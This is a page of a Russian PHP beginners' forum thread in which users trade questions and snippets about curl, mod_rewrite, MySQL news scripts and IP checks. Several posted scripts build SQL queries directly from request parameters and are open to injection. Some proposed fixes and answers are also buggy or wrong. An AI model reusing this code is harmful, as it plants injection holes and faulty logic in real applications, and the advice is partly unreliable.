PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

rushter
04.01.2009, 01:14
Смотрим
Есть скрипт,который граббит прокси.Есть файл,с адресами сайтов,с проксями.Сайтов,ну пускай 100. На сервере,через курл,получение каждой страницы,затем выдерание проксей,идет долго.Оч долго яб сказал.Поэтому спрашиваю,если я буду получать теже страницы сокетами,или простым филе_гет,скорость улучшиться?
-Про многопоточность почитал.ЭТАПЯзддец.Воть....в опщем пока не буду суваца....
сокеты быстрее curl

DDoSька
04.01.2009, 01:28
сокеты быстрее curl
Никак нет !
http://habrahabr.ru/blogs/php/42158/
...Код, как Вы видите, более компактный получился, ну и cURL работает пошустрее сокетов....

rushter
04.01.2009, 01:34
Никак нет !
http://habrahabr.ru/blogs/php/42158/
а ты сам то проверял ?

brasco2k
04.01.2009, 01:39
На наносекунду?! - смешно. Речь идет о простоте написания кода. Что лучше знаешь, то и используй. Выше скорости соединения не скакнешь, а скорость работы кода(не включая скачку) будет незаметной.

DVD_RW
04.01.2009, 01:40
я конечн не программер..но считаю что курл быстрее сокетов... а ваще быстрее multi_curl :D :p у мну кста вопрос
require() < что значит?
это чёто связано с include()..но что такое инклуд я знаю... подскажите=)

DDoSька
04.01.2009, 01:40
а ты сам то проверял ?
нет, не проверял. Ты этой статье не веришь?
Тебе надо,чтобы Иесус к тебе пришел и сказал,что сокеты медленнее?

Gifts
04.01.2009, 01:44
DVD_RW php.net/require

Холивар не разводите, да и ровно этот же вопрос почти с теми же участниками возникал месяц назад

DDoSька
04.01.2009, 01:46
я конечн не программер..но считаю что курл быстрее сокетов... а ваще быстрее multi_curl :D :p у мну кста вопрос
require() < что значит?
это чёто связано с include()..но что такое инклуд я знаю... подскажите=)
http://forum.ishodniki.ru/index.php?topic=14812.0
Насколько я понимаю, они по разному обрабатывают ошибки (include выводит предупреждение и продолжает работу, с ошибкой при require работа сценария прекращается). Require в любом случает подключает файл, а include только при непосредственном выполнении команды. Отсюда вывод: require больше загружает сервер. Require включает и выполняеткод только 1 раз, а include столько, сколько нужно (код выполняется во внешнем файле, а при Require просто вставляется).

DVD_RW
04.01.2009, 01:46
DVD_RW php.net/require

Холивар не разводите, да и ровно этот же вопрос почти с теми же участниками возникал месяц назад
пасиб :p

w.u.n.
04.01.2009, 01:47
сокеты быстрее curl
сокеты быстрее, но не те которые в пхп

prescott
04.01.2009, 01:48
На наносекунду?! - смешно. Речь идет о простоте написания кода. Что лучше знаешь, то и используй. Выше скорости соединения не скакнешь, а скорость работы кода(не включая скачку) будет незаметной.

по простоте написания кода, проще юзать file_get_contents(), если конечно не требуется авторизаций, кукисов и т.д.

DDoSька
04.01.2009, 01:50
сокеты быстрее, но не те которые в пхп
Согласен, dei -всему голова =)

.:EnoT:.
04.01.2009, 08:19
по простоте написания кода, проще юзать file_get_contents(), если конечно не требуется авторизаций, кукисов и т.д.
а что мешает отправлять заголовки вместе с file_get_contents() ?

А насчёт курла я уже не раз говорил, что пихать его везде не стоит, да ещё и с нулевыми знаниями хотя бы основ банального http протокола.

DDoSька
04.01.2009, 10:23
А насчёт курла я уже не раз говорил, что пихать его везде не стоит.....
То есть у него есть плохие стороны? :confused:

Mixon
04.01.2009, 11:54
Подскажите плиз такую весчь,вопшем у меня есть скрип-паук,он лазить по сайту и есле находит определенный текст,то выполняет определенное действие,и вот такой вопрос,вопше,я сдела что есле он находит там например слово "Жизнь" то он вставляет в страницу ето

<meta http-equiv="refresh" content="0; URL=life.php">

Вот только проблема в том,что чтоб таймер сработал нужно чтоб страница полностью загрузилась и т.д. т.п. а мне нужен моментальный переход,с выводом етой страницы на екран ( echo $f; ),кто что может посоветовать с етим?

Jer1cho
04.01.2009, 12:04
echo $f;
flush();
ob_flush();

Mixon
04.01.2009, 12:08
еммммм,я вопшет я просил так,чтобы место таймера он переходыл по странице,а тут вопше перехода я невижу....

Byrger
04.01.2009, 12:12
Знаю что не в тему, но помогите разобраться в ModRewrite в Апатче он включен.
А когда в .htaccess прописываю

Options -Indexes
RewriteEngine On
RewriteRule ^([a-z]+)/([0-9]*)/([0-9]*)/([0-9]*)/$ /index.php?str=$1&serv=$2

Ничего не изменяется....В чём проблема?
Обычная строка запроса:
http://www.adenki.ru/index.php?str=pok&serv=lineageru4

А должна получится
http://www.adenki.ru/pok/lineageru4/

Вроде нормально заработало так:
RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule ^([^/]*)$ index.php?str=$1&serv=$2
RewriteRule /([^/]*)/?$ index.php?str=$1&serv=$2
но пропали картинки на всём сайте
:confused:

Jer1cho
04.01.2009, 12:23
еммммм,я вопшет я просил так,чтобы место таймера он переходыл по странице,а тут вопше перехода я невижу....
После вывода твоего мета-тега вставь flush; ob_flush;

Mixon
04.01.2009, 12:31
А,понял,просто я просил чуть другое,что можно использовать более быстрое чем таймер,а не просто его использование даже с недогруженной страницей......

DMajere
04.01.2009, 13:28
как сделать развилку в форме? поясню- нужно сделать анкету, она разбита на части, как сделать так, чтобы исходя из ответов пользователь попадал на нужную следующую часть анкеты?

ну, или как сделать так чтобы в зависимости от ответа на предыдущий вопрос следующий зи неактивного становился активным. или наоборот

Mixon
04.01.2009, 13:34
Ет тебе скорее всего в тему javascript....и мож посмотреть исходный код vkontakte.ru при реге...

rushter
04.01.2009, 13:39
Ajax

SVAROG
04.01.2009, 20:07
как в cURL принимать только HTTP заголовки, или загружать токо первые нескольео символов? надо что бы страница не загружалась.

-m0rgan-
04.01.2009, 20:28
Доброе время суток!
Вот появился у меня вопрос:
Кароче начал я писать движок...первые функции - это добавление,удаление и редактирование новостей...Карочь написал я код и давай тестить его...На локалхосте все работает прекрастно, новость добавляется в бд, удаляется и редактируется...
Заливаю я его на хостинг, изтеняю конфиг и тут наблюдаю облом, новости не добавляются(((
Конект с БД есть...
Тестил на нескольких хостингах.
В чем может быть причина???
Зарание спасибо!

rushter
04.01.2009, 20:30
причин может быть много,код в студию

Joker-jar
04.01.2009, 20:51
Сейчас нет возможности разбираться в твоем скрипте. Скажу лишь не по теме, что не мешало бы тебе пересмотреть вопрос безопасности твоего движка:

$index=$_GET['id'];
$query = "SELECT * FROM news WHERE `id` = '".$index."'"; $result = mysql_query($query);

kraken
04.01.2009, 20:51
Попробуй в запросах используй кавычки
SELECT * FROM `news` order by id desc LIMIT 0,100000

-m0rgan-
04.01.2009, 22:11
Всем кто отписался спасибо!
Код я пожалуй удалю...

Gifts
04.01.2009, 22:24
SVAROG curl_setopt($ch,CURLOPT_NOBODY,1);
curl_setopt($ch,CURLOPT_HEADER,1);
-m0rgan- При отладке хорошо бы проверять где именно ошибка, например:

$link = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(DB_NAME) or die('Нельзя выбрать базу ('.mysql_error().')');
$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error());
Тогда вопросы будут отпадать сами собой

-m0rgan-
05.01.2009, 00:59
SVAROG curl_setopt($ch,CURLOPT_NOBODY,1);
curl_setopt($ch,CURLOPT_HEADER,1);
-m0rgan- При отладке хорошо бы проверять где именно ошибка, например:

$link = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(DB_NAME) or die('Нельзя выбрать базу ('.mysql_error().')');
$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error());
Тогда вопросы будут отпадать сами собой
У меня конфиг был такой:
<?
Error_Reporting(E_ALL & ~E_NOTICE);
Error_Reporting (ERROR|WARNING);

@mysql_connect("host", "login", "pass") or die("нет коннекта с мускулом...");
@mysql_select_db("database") or die("Нет коннекта с БД...");
mysql_query('set character_set_results=cp1251') or die(mysql_error());
$date=date("d.m.Y");

$ip=$_SERVER['REMOTE_ADDR'];
?>

Romantic1989
05.01.2009, 06:42
Доброго Вам время суток! Где можно найти документацию, желательно на руском, по работе с Сокетами?? Зарание спасибо :)

preda1or
05.01.2009, 06:52
Romantic1989
http://forum.creastar.ru/index.php?topic=57.0

SVAROG
05.01.2009, 07:02
Romantic1989
http://ru2.php.net/manual/ru/function.fsockopen.php
не совсем на русском, но примеров хороших много ;)

Mixon
05.01.2009, 11:39
Подскажите плиз такую весчь,вопшем у меня есть скрип-паук,он лазить по сайту и есле находит определенный текст,то выполняет определенное действие,и вот такой вопрос,вопше,я сдела что есле он находит там например слово "Жизнь" то он вставляет в страницу ето

<meta http-equiv="refresh" content="0; URL=life.php">

Вот только проблема в том,что чтоб таймер сработал нужно чтоб страница полностью загрузилась и т.д. т.п. а мне нужен моментальный переход,с выводом етой страницы на екран ( echo $f; ),кто что может посоветовать с етим?

Так никто ничё и не подскажет?((

brasco2k
05.01.2009, 11:50
<?php
header("Location: http://google.com");
die();
?>

или

<script>document.location.href = "http://google.com";</script>

#Wolf#
05.01.2009, 15:01
имеется

<form action="dropnews.php" method="POST" >
<?php
$result=mysql_query("SELECT title,id FROM news");
while ($myrow=mysql_fetch_array($result))
{ echo "<table width='200' border='0' align='center'>
<tr><td width='12'><input name='id' type='checkbox' value='$myrow[id]'></td><td>$myrow[title]</td></tr></table>";
}
?>
<input type="submit" name="submit" value="Удалить">
</form>

dropnews.php
<?php
if(isset($_POST['id'])) {$id=$_POST['id'];}
if(isset($id))
{
$result=mysql_query("DELETE FROM news WHERE id='$id'");
if($result == 'true')
{echo "<p>Новость удалена :-)</p><br><a href=\"delnews.php\">Назад</a>";}
else
{echo "<p>Новость не удалена :-(</p><br><a href=\"delnews.php\">Назад</a>";}
}
else
{echo "<p>Ошибка!</p><br><a href=\"delnews.php\">Назад</a>"; }
?>
как можно осуществить удаление сразу нескольких новостей (чтобы их можно было выбрать checkbox'ом) :confused:
заранее благодарен :rolleyes:

Gifts
05.01.2009, 15:36
#Wolf# Почитайте на досуге статьи про анти-SQLinj
<pre><form METHOD="POST">
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="1"> Процессоры
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="2" CHECKED> Видеоадаптеры
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="3"> Сканеры
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="4" CHECKED> Модемы
<INPUT TYPE=submit VALUE="Отправить" name="asd">
</form>

<?
if (isset($_POST['asd']))
{
$id=$_POST['Comp'];
if (is_array($id))
{array_walk($id,'intval'); $id=implode("' or id='",$id);}
else $id=intval($id); // не забываем об анти SQL
echo "DELETE FROM news WHERE id='".$id."'";
if (mysql_query("DELETE FROM news WHERE id='".$id."'"))
{
echo "<p>Новость удалена :-)</p><br><a href=\"delnews.php\">Назад</a>";
}
else
{
echo "<p>Новость не удалена :-(</p><br><a href=\"delnews.php\">Назад</a>";
}

}
?>
if ($result=='true') - эт конеш сильно

.:EnoT:.
05.01.2009, 16:50
// не забываем об анти SQL
не менее сильно)

я б лучше вот так сделал:

<form action="" method="post">
<input type="checkbox" name="ids[]" value="1" />
<input type="checkbox" name="ids[]" value="2" />
<input type="checkbox" name="ids[]" value="3" />
<input type="checkbox" name="ids[]" value="4" />
<input type="submit" value="Удалить выбранные" />
</form>

<?php
$ids = isset($_POST['ids']) && is_array($_POST['ids']) ? array_map('intval', $_POST['ids']) : '';

if($ids){

$sql = mysql_query('DELETE FROM `table`
WHERE `id` = IN ('.join(',', $ids).') ');

echo $sql ? 'Успешно =)' : 'Неудачно =(';

}

?>

-m0rgan-
06.01.2009, 14:51
Доброе время суток!
Подскажите , что означает эта ошибка:
Ошибка запроса: Query was empty
кусок кода:

if($_GET['news']==add)
{
$query = "SELECT * FROM news"; $empty = mysql_query($query);
$n = mysql_num_rows($empty);
$num=$n+1;
echo'<form method="POST" action="index.php?add=news">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">
Название: <input type="text" name="name" size="40" value="'.$name.'"></td></tr><tr><td>Первый текст: (выводится на главной странице)<br><br>
<textarea rows="5" name="text" cols="70">'.$text.'</textarea><br><br>
Второй текст: (выводится на странице подробнее о новости)<br><br>
<textarea rows="10" name="text2" cols="70">'.$text2.'</textarea></td></tr>
<tr><td bgcolor="#324316"><center>
<input type=submit value="OK"></center></td></tr></table></form>';
}
if($_GET['add']==news)
{
$form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip')";
mysql_query($form);
if($form){
echo"<font color=red>Новость успешно добавлена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}

Зарание спасибо!

.:EnoT:.
06.01.2009, 15:13
Ошибка запроса: Query was empty
По русски: Запрос был пуст)

у тебя register_globals = ON ?
Или где получение данных из массива POST?
а защита от sql инфекций?)

if($_GET['news']==add)
add ж у тебя не константа (как и news), кавычки какбэ надо

$form = "....";
mysql_query($form);
if($form){

Какбэ проверять надо результат запроса, а не строку запроса.
$form = "....";
$a = mysql_query($form);
if($a){


я хз под чем ты писал такой скрипт, но явно новый год прошёл нормально))

Pashkela
06.01.2009, 15:23
Значит в таблицу news нет записей. Должна быть хоть одна запись, чтобы запрос был успешным.

Дальше


$form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip')";


Так неправильно, правильно так:


$form = "INSERT INTO news (`num`, `name`, `text`,`text2`,`ip` ) VALUES ('$num', '$name', '$text', '$text2', '$ip')";


т.е. надо указать поля, куда вставляешь данные, а не так вот просто.

А если у тебя поле num просто id для какого-то текста, который просто увеличивается на единицу, так проще и сделать сразу такое поле с автоинкриментом, оно само будет автоматически увеличиваться при появлении новой записи, т.е. сначала сделай такую таблицу (один раз):


$query = "CREATE TABLE news (
num int(10) NOT NULL auto_increment,
name varchar(200) default NULL,
text varchar(200) default NULL,
text2 varchar(200) default NULL,
ip varchar(200) default NULL,
PRIMARY KEY (num)
);";
$end=@mysql_query($query);


И всё, забудь про num, обрабатывай только данные

-m0rgan-
06.01.2009, 16:12
Поясню ситуацию:
Начал я писать движок...
Сначала все норм, потом перестали добавлятся новости(((
Потом мне посоветовали поставить другой конфиг, вот код:
<?
$link = mysql_connect(localhost, test, test) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(test) or die('Нельзя выбрать базу ('.mysql_error().')');
$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error());
?>
Когда я прохожу по адресу localhost/admin
появляется ошибка:
Ошибка запроса: Query was empty
полный код:

<?
$name=$_POST['name'];
$text=$_POST['text'];
$text2=$_POST['text2'];
if($_GET['page']==news)
{
print"<center><a href=?news=add>Добавить новость</a></center><br><br>";
$query = "SELECT * FROM news order by id desc LIMIT 0,100000"; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">'.$row['name'].'</td></tr><tr><td>'.$row['text'].'<br>'.$row['text2'].'</td></tr>
<tr><td bgcolor="#324316"><a href="?news=delete&id='.$row['id'].'">Удалить</a>
<a href="?edit=news&id='.$row['id'].'">Редактировать</a></td></tr>
</table><br>';
endwhile;
}
if($_GET['edit']==news)
{
$index=$_GET['id'];
$query = "SELECT * FROM news WHERE `id` = '".$index."'"; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'
<form method="POST" action="index.php?news=edit&id='.$row['id'].'">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">
Название новости: <input type="text" name="name" size="40" value="'.$row['name'].'"></td></tr><tr><td>Первый текст: (выводится на главной странице)<br><br>
<textarea rows="5" name="text" cols="70">'.$row['text'].'</textarea><br><br>
Второй текст: (выводится на странице подробнее о новости)<br><br>
<textarea rows="10" name="text2" cols="70">'.$row['text2'].'</textarea></td></tr>
<tr><td bgcolor="#324316"><center>
<input type=submit value="OK"></center></td></tr></table></form>';
endwhile;
}
if($_GET['news']==edit)
{
$index=$_GET['id'];
$edit = "UPDATE `news` SET `name` = '$name', `text` = '$text', `text2` = '$text2' WHERE `id` = ".$index;
mysql_query($edit);
if($edit){
echo"<font color=red>Новость успешно изменена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
if($_GET['news']==delete)
{
$da=$_GET['id'];
$del = "DELETE FROM `news` WHERE `id` = '".$da."'";
mysql_query($del);
if($del){
echo"<font color=red>Новость успешно удалена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
if($_GET['news']==add)
{
$query = "SELECT * FROM news"; $result = mysql_query($query);
$n = mysql_num_rows($result);
$num=$n+1;
echo'<form method="POST" action="index.php?add=news">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">
Название: <input type="text" name="name" size="40" value="'.$name.'"></td></tr><tr><td>Первый текст: (выводится на главной странице)<br><br>
<textarea rows="5" name="text" cols="70">'.$text.'</textarea><br><br>
Второй текст: (выводится на странице подробнее о новости)<br><br>
<textarea rows="10" name="text2" cols="70">'.$text2.'</textarea></td></tr>
<tr><td bgcolor="#324316"><center>
<input type=submit value="OK"></center></td></tr></table></form>';
}
if($_GET['add']==news)
{
$form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip');";
mysql_query($form);
if($form){
echo"<font color=red>Новость успешно добавлена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
?>


Создаю таблицу невс с колонками:

CREATE TABLE `news` (
`id` int(20) unsigned NOT NULL auto_increment,
`name` varchar(20) NOT NULL default '',
`text` varchar(20) NOT NULL default '',
`text2` varchar(20) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;


Вроде все...
Хочется услышать все замечания и предложения по решению проблемы, ну и заодно по безопасности...
Зарание спасибо!

Pashkela
06.01.2009, 16:19
Проблема скорее всего здесь:

$index=$_GET['id'];

и, соотвественно, дальше здесь:

$query = "SELECT * FROM news WHERE `id` = '".$index."'"; $result = mysql_query($query);

попробуй подставить вместо $index просто реальную цифру той новости, которая реально существует

Ну и можно посмотреть значение $index (кладется туда вообще что-нибудь или нет):


$index=$_GET['id'];
echo $index;

Gifts
06.01.2009, 16:48
-m0rgan- Либо ты нас непонятно зачем обманываешь, либо крайне сильно заблуждаешься... Во-первых, это НЕ весь листинг, ты либо этот файл где-то инклудишь, либо случайно удалил инклуд конфига из начала поста

<?
$link = mysql_connect(localhost, test, test) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(test) or die('Нельзя выбрать базу ('.mysql_error().')');
>>>>>>>>>>>$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error()); <<<<<<<<<<<<<<<<<<
?>
Смотрим на выделенную строчку. Тебе что сказали? Для всех mysql_query сделать такую конструкцию, а не бездумно копировать ее зачем-то в конфиг оО. Естественно, что $query - пустая строка в конфиге, собственно отсюда и ошибка.

Во-вторых if($_GET['edit']==news) - тебе парой постов выше сказали, что ты сравниваешь НЕ со строкой, а с константой, то есть эта проверка эквивалентна if($_GET['edit']==0)

В третьих: $form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip');";
mysql_query($form);
if($form) $form - это заданная строка и ты проверяешь задал ли ты ее, а не выполнил ли ты запрос с ней. И так же в других местах кода

В-четвертых, Читать прикрепленную в этом разделе тему про анти-SQLinj

oRb
06.01.2009, 17:03
Во-вторых if($_GET['edit']==news) - тебе парой постов выше сказали, что ты сравниваешь НЕ со строкой, а с константой, то есть эта проверка эквивалентна if($_GET['edit']==0)
Имя неопределенной константы преобразуется к строковому типу
<?
echo news;
?>
А так все остальное ты верно сказал.

-m0rgan-
06.01.2009, 17:11
Во)
Вснм спасибо!
Это мну очень сильно проглючило(((
P.S.:Нет, я не обнаную,это весь пхп код, а конфиг я вставлял в начале хтмл кода)

diznt
06.01.2009, 17:25
всем гуру раздела здрасти :-)
народ кто как изучал php?
То есть нужен учебничек онлайн (то есть прям на сайте)
то есть где там начинаеться все с самого простого (там переменные всякие и т.д.)(+с примерами чтобы было) и заканчивая там чем нибуть сложнейшим на php (к примеру простой двиг сайта где включаеться все что описывалось в учебнике (где это все эти туториалы))
офф сайты не катят

(html знаю)

Gifts
06.01.2009, 17:29
diznt https://forum.antichat.ru/thread89681.html

От себя - знание любого языка + постепенное изучение операторов PHP

.:EnoT:.
06.01.2009, 18:24
Я бы посоветовал книгу: Максим Кузнецов - PHP на примерах.

Имя неопределенной константы преобразуется к строковому типу
это так, но всё равно ты получишь ошибку о неопределённой константе, хотя текст и выведется.
В любом случае так делать не надо)

diznt
06.01.2009, 20:14
Всем добрый вечер еще раз
и так начал я читать книгу так вот там описываються про "Логические операторы"
я просто не понимаю что значит "логические" операторы, нет я так знаю что такое операторы но не понимаю совсем слова "логические"

Kaimi
06.01.2009, 20:15
http://ru.wikipedia.org/wiki/Алгебра_логики

diznt
06.01.2009, 20:25
Зачем они нужны эти логическии операторы? И для чего они могут быть полезны в написании кода?
И желательно с примером!

Joker-jar
06.01.2009, 20:27
Из логических операторов составляются логические выражения. Логические выражения - это выражения, которые в ответе дают "да" или "нет" (истина / ложь)

diznt
06.01.2009, 20:28
Это я понял но мне нужен ответ на пост 7602

Kaimi
06.01.2009, 20:31
if($medved && $kreved || $preved) {...}

Pashkela
06.01.2009, 20:35
Зачем они нужны эти логическии операторы? И для чего они могут быть полезны в написании кода?
И желательно с примером!


$hand = fopen("log.txt", "a+");
if($hand)
{
fwrite($hand,"1");
}
fclose($hand);


Производим открытие файла и дальше запись в него символа "1", например.

В данном случае 100% вероятность успешной записи в файл, т.к. производится логическая проверка самого факта открытия файлы на запись с добавлением инфо в конец:


if($hand)


т.к. файл мог быть открыт ДО этого, некорректно закрыт ПОСЛЕ, это может делаться в цикле и т.д. и т.д. и т.д. - т.е. в любом случае не будет ОШИБКИ при выполнении скрипта, т.к. производиться ПРОВЕРКА на простейшую операцию - ПРОВЕРКА НА ОТКРЫТИЕ ФАЙЛА НА ЗАПИСЬ в него информации. Кстати, так делать надо всегда, даже если простейшая операция, без циклов и многократно повторяющегося обращения к файлу - т.к. это логично, сначала УБЕДИСЬ, потом ЗАПИСЫВАЙ

spamoney
06.01.2009, 20:50
Всем добрый день, такой вопросик:

возможно ли, средствами php узнать включена ли у пользователя поддержка javascript?

.:EnoT:.
06.01.2009, 20:52
Всем добрый день, такой вопросик:

возможно ли, средствами php узнать включена ли у пользователя поддержка javascript?
Нельзя, можно самими жабоскриптом узнать включено или выключено)

diznt
06.01.2009, 21:50
Чем отличается оператор "require" от "include" ???

.:EnoT:.
06.01.2009, 21:53
При неудачном включении файла с include это пропускается и код выполняется далее, а с require выполнение кода прекращается

geforce
06.01.2009, 22:36
Как можно заменить <?php ?> на чтонибудь другое??? Или хотябы <>! Возможно?

Pashkela
06.01.2009, 22:39
<?
код
?>

w.u.n.
06.01.2009, 22:41
geforce, можно использовать <? ?> и <% %> (директивы php.ini short_open_tag и asp_tags соответственно)

geforce
06.01.2009, 22:47
geforce, можно использовать <? ?> и <% %> (директивы php.ini short_open_tag и asp_tags соответственно)

А Скобачки <> можно заменить как нибудь???

Airborn
06.01.2009, 22:58
Тебе же уже написали,пробуй изменить тут на сервере,в дире с ПыхЫпЫ,ищи файл: php.ini и в нем строки: short_open_tag и asp_tags , в них и меняй значение на свое,помему так.

oRb
06.01.2009, 23:40
1. <?php echo("если вы хотите работать с документами XHTML или XML, делайте так\n"); ?>

2. <? echo ("это простейшая инструкция обработки SGML\n"); ?>
<?= выражение ?> Это синоним для "<? echo выражение ?>"

3. <script language="php">
echo ("некоторые редакторы (например, FrontPage) не
любят инструкции обработки");
</script>

4. <% echo ("Вы можете по выбору использовать теги в стиле ASP"); %>
<%= $variable; # Это синоним для "<% echo . . ." %>

geforce
06.01.2009, 23:48
Скажи мне нахуя?!

на одной странице есть коменты в них подерживаючся стандартные теги а пхп код нет когда пишу <? ?> Получаю ? ? Для этого

brasco2k
06.01.2009, 23:58
на одной странице есть коменты в них подерживаючся стандартные теги а пхп код нет когда пишу <? ?> Получаю ? ? Для этого
Лолек, php не интерпритирует текст полученный из бд/файла, если в скрипте нет уазание на его исполнения. А HTML теги отображает браузер =\\\\\\\\\

Nightmarе
07.01.2009, 03:27
Как сделать чтобы при обращении к скрипту он проверял IP адрес со списком из файла logs.txt, а в этом файле айпишники:
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
То есть на одну строку один IP, в этой теме было несколько способов реализации раньше но ни один не пашет, у кого есть точный способ приведите пример реализации.

Pashkela
07.01.2009, 03:29
Как понять проверял? Что конкретно надо сделать в цикле, выдрав построчно каждый IP?

Nightmarе
07.01.2009, 03:38
Нужно сделать проверку есть ли в списке logs.txt айпишник из "$_SERVER['REMOTE_ADDR']"

Pashkela
07.01.2009, 03:42
<?php
$ipArray = array_map("trim", file("logs.txt"));
if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) )
{
echo "есть";
}
else
{
echo "нет";
}
?>

m0Hze
07.01.2009, 03:55
А можно както подругому это сделать? Я про пост выше.Просто помню,ктото другой способ предлогал,мне в нем чтото понравилось.Там сравнение шло помоему,тоесть брался файл,из него все пихалось в фореач,и сравнивалось с ремоте_адр.
Древняя защита от Ддос :D

Pashkela
07.01.2009, 03:57
Да миллион способов.

ЗЫЖ Тут кстати тоже сравнение, только чуть шустрее, чем фореач, и тоже каждый ip сравнивается

Doom123
07.01.2009, 04:13
Pashkelaтут ни чуть шустрее а намного шустрее ! =)

m0Hze
07.01.2009, 05:38
Собственно говоря,есть слово,например:
$text = "Georgiy";
Вопрос,нужно чтобы какойто функцией я мог получить на выходы,все варианты вот такого формата:
[php]
$text[a][1] = aeorgiy;
$text[a][2] = Gaorgiy;
...
$text[b][3] = Gabrgiy;
[php]
Чтото вроде массива.Ну кто поможет,мне чтото в голову не пришло ничего подобного.. =)

SVAROG
07.01.2009, 05:52
$text[b][$i] = "G".$bukva."brgiy";
может как то так ?

oRb
07.01.2009, 13:05
m0Hze
<?
$text = "Georgiy";
$array = array();
for($i=ord('a'); $i<=ord('z'); $i++)
for($j=0; $j<strlen($text); $j++)
{
$tmp = $text;
$tmp[$j] = chr($i);
$array[chr($i)][] = $tmp;
}
print_r($array);
?>

optimazer
07.01.2009, 13:07
2mOHze
я просто что не понял
ты хочешь чтоб сначала буква A заменяла все по очереди, потом B и т.д.
или тут какая-то другая закономерность

если первая то:
<?php
function change_symbol ( $word )
{
$word_prototype = $word;
$abc = array("a","b","c","d","e", "f","g","h","i","j", "k","l","m","n","o", "p","q","r","s","t", "u","v","w","x","y","z");
$output_words = array();
for ($j = 0; $j < sizeof($abc); $j++) {
for ($i = 0; $i < strlen($word); $i++)
$word_prototype[$i] = $abc[$j];
$output_words[$abc[$j]][$i] = $word_prototype;
$word_prototype = $word;
}
}
return $output_words;
?>

Gifts
07.01.2009, 16:48
m0Hze А зачем массив? function bukv($inword,$bukva,$pos)
{
if ($pos>strlen($inword) || $pos<1 || !is_string($bukva)) return $inword;
else
{
$inword[$pos-1]=$bukva;
return $inword;
}
}
echo bukv('abcdefg','z',1);

m0Hze
07.01.2009, 23:25
Вот писец,застрял на таком маленьком скрипте :)

$file = "black_list.txt";
$blockip = file($file);
foreach($blockip as $text){
if($_SERVER['REMOTE_ADDR'] == $text){
echo "Blocked!";
}else{
echo "Проходи дарагой...";
}
}
?>

[R]eD
07.01.2009, 23:26
Подскажите.
Есть нуленный форум IPB, в ближаййшее время нужно преобрести лицензию. Какие файлы нужно будет заменить? Полная переустановка не вариант, в форум внесено очень много модификаций.

Кто сталкивался с таким, как быть?

Gifts
07.01.2009, 23:37
ReD Сделать апгрейд до последней версии

m0Hze $text надо обрабатывать trim и вместо echo 'blocked' - die('Blocked'); А вообще - использовать файлы - моветон

Kaimi
07.01.2009, 23:49
А вообще - использовать файлы - моветон

Кто тебе такое сказал?

.:EnoT:.
08.01.2009, 00:04
Gifts

угу, для трёх строк текста буим всегда юзать БД.


add:
m0Hze, кстате, а не легче ли использовать строковые функции для поиска IP в файле, чем юзать циклы и т.д.
Ну или регулярки, если там по маске ip-ы

ntldr
08.01.2009, 01:26
как передать инфо пхп-скрипту следющим способом, без всяких модреврайтов итп, чисто средствами пхп.
вот так->
http://ololo.ru/script.php?эта-инфа-передается

Gifts
08.01.2009, 01:28
ntldr $_SERVER['QUERY_STRING']

chlp
08.01.2009, 02:32
Есть код...

<?php
$q = "Бла бла бла";
echo ("<input type = text value = $q>");
?>

В таком случае в поле input будет только "Бла".
Обошел так :

<?php
$q = "Бла бла бла";
?><input type = text value = "<? echo ($qst); ?>"><?
?>

Можно ли это обойти инным, менее геморным методом?

*Кол-во полей input зараннее не известно.

можно использовать одинарные кавычки
<?php
$q = "Бла бла бла";
echo ("<input type = text value = '$q'>");
?>

m0Hze
08.01.2009, 02:38
можно использовать одинарные кавычки
<?php
$q = "Бла бла бла";
echo ("<input type = text value = '$q'>");
?>
Я чтото пропустил? PHP начал воспринимать переменные в одинарных кавычках?оО
<?php
$q = "Бла бла бла";
echo ("<input type = text value = ''.$q.''>");
?>
<?php
$q = "Бла бла бла";
echo ("<input type = text value = \"$q\">");
?>
Тоже кульна =)

w.u.n.
08.01.2009, 02:39
Я чтото пропустил? PHP начал воспринимать переменные в одинарных кавычках?оО
<?php
$q = "Бла бла бла";
echo ("<input type = text value = ''.$q.''>");
?>
<?php
$q = "Бла бла бла";
echo ("<input type = text value = \"$q\">");
?>
Тоже кульна =)
че это за бред?)

d_x
08.01.2009, 02:42
